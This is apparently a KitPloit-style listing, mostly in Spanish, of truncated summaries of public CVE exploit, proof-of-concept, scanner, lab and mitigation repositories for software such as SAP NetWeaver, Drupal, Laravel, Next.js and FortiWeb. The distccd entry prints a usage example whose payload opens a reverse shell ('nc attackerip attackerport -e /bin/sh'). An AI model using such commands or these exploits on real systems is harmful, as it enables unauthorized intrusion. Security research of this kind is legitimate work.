CVE-2025-31324

Proof of Concept - CVE-2025-31324 [email protected] Proof of concept exploit for vulnerability CVE-2025-31324 in SAP NetWeaver Visual Composer , which allows arbitrary file upload without authentication via the /developmentserver/metadatauploader endpoint. ⚠️ This code is for educational...

CVE-2018-7600

POC de CVE-2018-7600 Drupal RCE CVE-2018-7600 ¡No olvides poner tu dirección en el script ! Descripción: Existe una vulnerabilidad de ejecución remota de código en múltiples subsistemas de Drupal 7.x y 8.x. Esto potencialmente permite a los atacantes explotar múltiples vectores de ataque en un...

CVE-2018-15133-PoC

CVE-2018-15133-PoC Este script Python implementa un exploit de ejecución remota de código RCE para aplicaciones Laravel vulnerables mediante deserialización insegura, basándose en la vulnerabilidad CVE-2018-15133. El exploit aprovecha una vulnerabilidad en Laravel versiones 5.5.40 y anteriores, y...

distccd_rce_CVE-2004-2687

El objetivo de este script no es usar Metasploit, sino hacerlo manualmente. Uso: root@kitploit: nc -lvnp 4466 Ejecutando el exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Escáner de RCE por Deserialización RSC en Next.js Esta herramienta verifica si un objetivo es vulnerable a CVE‑2025‑55182 , un fallo de Ejecución Remota de Código causado por el manejo inseguro de cargas útiles de modelo RSC React Server Components dentro de Next.js. La...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 概述 本仓库记录了TryHackMe房间中关于CVE-2025-55182 安全概念的学习内容，这是一个影响以下组件的严重漏洞： React Server Components RSC Next.js 以及基于RSC的框架 软件包： react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack 该漏洞可实现： 通过单个精心构造的HTTP请求，无需认证即可远程执行代码。 本材料仅供教育和防御目的 ，不包含该平台的任何答案、标志或完整通关指南。 ...

CVE-2017-5638

CVE-2017-5638 Las versiones de Apache Struts 2 2.3.x anteriores a 2.3.32 y 2.5.x anteriores a 2.5.10.1 tienen una falla en su analizador Jakarta Multipart. Esta falla provoca un manejo incorrecto de excepciones y la generación de mensajes de error al intentar cargar archivos. Como resultado, los...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Configuración de Docker Ngrok CVE-2018-11235-Git PoC y tunelización con docker ngrok Construir Dockerfile root@kitploit: $ docker build -t cve-2018-11235 . Crear red personalizada para ngrok root@kitploit: $ docker network create myngroknet Iniciar Servidor Git...

CVE-2022-46169

Aquí está el documento de explicación reformateado: CVE‑2022‑46169 – Explicación y Resumen del Proyecto Cacti Ejecución Remota de Código sin Autenticación ¿Qué es este proyecto? Este proyecto es un ejercicio de ciberseguridad que demuestra CVE‑2022‑46169 : una vulnerabilidad crítica en la...

Exploit-PoC-para-CVE-2024-30085

🚨 Exploit PoC para CVE-2024-30085 Proof of Concept exploit para la vulnerabilidad de elevación de privilegios CVE-2024-30085. Sólo para propósitos educativos y de investigación en seguridad. ⚠️ Advertencia Legal USO EXCLUSIVAMENTE EDUCATIVO ✅ Investigación de seguridad autorizada ✅ Laboratorios...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 Solución temporal para mitigar la vulnerabilidad CVE-2023-36884. Esta vulnerabilidad afecta al sistema operativo Windows y puede permitir la ejecución remota de código malicioso. CVE-2023-36884 » CVE-2023-36884 La vulnerabilidad CVE-2023-36884, que es una falla de seguridad...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 Description This Nuclei template detects Apache Tomcat servers vulnerable to the TOCTOU race condition that allows remote code execution RCE. ⚠ Important note : This template should be used exclusively for educational purposes and in controlled environments with...

CVE-2017-9841-EXPLOIT

CVE-2017-9841 - Ejecución Remota de CódigoRCE en PHPUnit Esta vulnerabilidad afecta a versiones de PHPUnit anteriores a la 4.8.28 y a todas las versiones 5.x anteriores a la 5.6.3. Permite a los atacantes ejecutar código PHP arbitrario en servidores donde PHPUnit está expuesto. El problema existe...

CVE-2026-3844-Lab

CVE-2026-3844 — Laboratorio de Subida de Archivos Arbitraria No Autenticada a RCE en Breeze Cache Laboratorio Docker local para reproducir y comparar el comportamiento de CVE-2026-3844 en el plugin Breeze Cache de WordPress. Este repositorio demuestra el comportamiento vulnerable en Breeze Cache...

CVE-2025-12189

Bread & Butter: Protege contenido + Captura clientes potenciales + Recopila datos de primera parte + Nutre con agentes de IA = 7.10.1321 - Cross-Site Request Forgery para la subida arbitraria de archivos El plugin Bread & Butter IO contiene una vulnerabilidad en su funcionalidad de subida de...

CVE-2025-25257

🚨 CVE-2025-25257 – FortiWeb SQL注入到远程代码执行 关键SQL注入 → Webshell执行 发现并武器化 by 0xgh057r3c0n 🧠 漏洞概述 CVE-2025-25257 影响暴露端点 /api/fabric/device/status 的 FortiWeb 系统，该端点未能正确清理 Authorization 头输入。 攻击者可以执行未经验证的SQL注入，在服务器上写入webshell并远程执行命令。 💥 攻击流程 root@kitploit: SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod...

CVE-2025-11953-PoC

Descripción El servidor de desarrollo Metro, que es abierto por la CLI de React Native Community, se vincula a interfaces externas por defecto. El servidor expone un endpoint que es vulnerable a la inyección de comandos del sistema operativo. Esto permite que atacantes de red no autenticados enví...

CVE-2024-48990

PoC para CVE-2024-48990 CVE-2024-48990 es una vulnerabilidad de escalada de privilegios local encontrada en la utilidad needrestart. La vulnerabilidad existe en versiones anteriores a la 3.8. El servicio, que se ejecuta como root durante eventos como instalaciones de paquetes, escanea de manera...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / Exploit RCE de 0-Click Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 Este repositorio contiene un exploit de prueba de concepto para CVE-2024-51793, una vulnerabilidad de subida de archivos arbitrarios sin autenticación en un plugin de WordPress...

CVE-2024-24401

Informe de Vulnerabilidad CVE Descubierto DISEÑADO PARA EJECUTARSE EN KALI LINUX Notas Nagios ha parcheado la versión 2024R1.0.1 en todas las descargas recientes. Para determinar si un objetivo es vulnerable, asegúrese de que esté utilizando una descarga anterior de 2024R1.0.1. El script...